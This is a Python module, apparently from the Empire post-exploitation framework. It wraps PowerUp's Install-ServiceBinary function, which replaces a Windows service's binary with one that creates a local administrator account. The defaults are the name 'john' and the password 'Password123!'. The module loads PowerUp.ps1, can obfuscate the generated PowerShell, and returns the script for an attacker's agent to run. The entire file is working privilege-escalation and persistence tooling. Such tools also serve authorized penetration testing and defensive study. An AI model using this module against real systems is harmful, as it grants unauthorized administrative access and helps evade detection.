from __future__ import print_function
from builtins import object
from builtins import str
from lib.common import helpers
class Module(object):
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Install-ServiceBinary',
'Author': ['@harmj0y'],
'Description': ("Backs up a service's binary and replaces the original "
"with a binary that creates/adds a local administrator."),
'Software': 'S0194',
'Techniques': ['T1087', 'T1038', 'T1031', 'T1034', 'T1057', 'T1012'],
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'ServiceName' : {
'Description' : "The service name to manipulate.",
'Required' : True,
'Value' : ''
},
'UserName' : {
'Description' : "The username to add.",
'Required' : False,
'Value' : 'john'
},
'Password' : {
'Description' : "Password to set for the added user.",
'Required' : False,
'Value' : 'Password123!'
},
'LocalGroup' : {
'Description' : "Local group to add the user to.",
'Required' : False,
'Value' : 'Administrators'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
moduleName = self.info["Name"]
# read in the common powerup.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""
moduleCode = f.read()
f.close()
# # get just the code needed for the specified function
# script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script = moduleCode
scriptEnd = ';' + moduleName + " "
for option,values in self.options.items():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptEnd += " -" + str(option)
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
script = helpers.keyword_obfuscation(script)
return script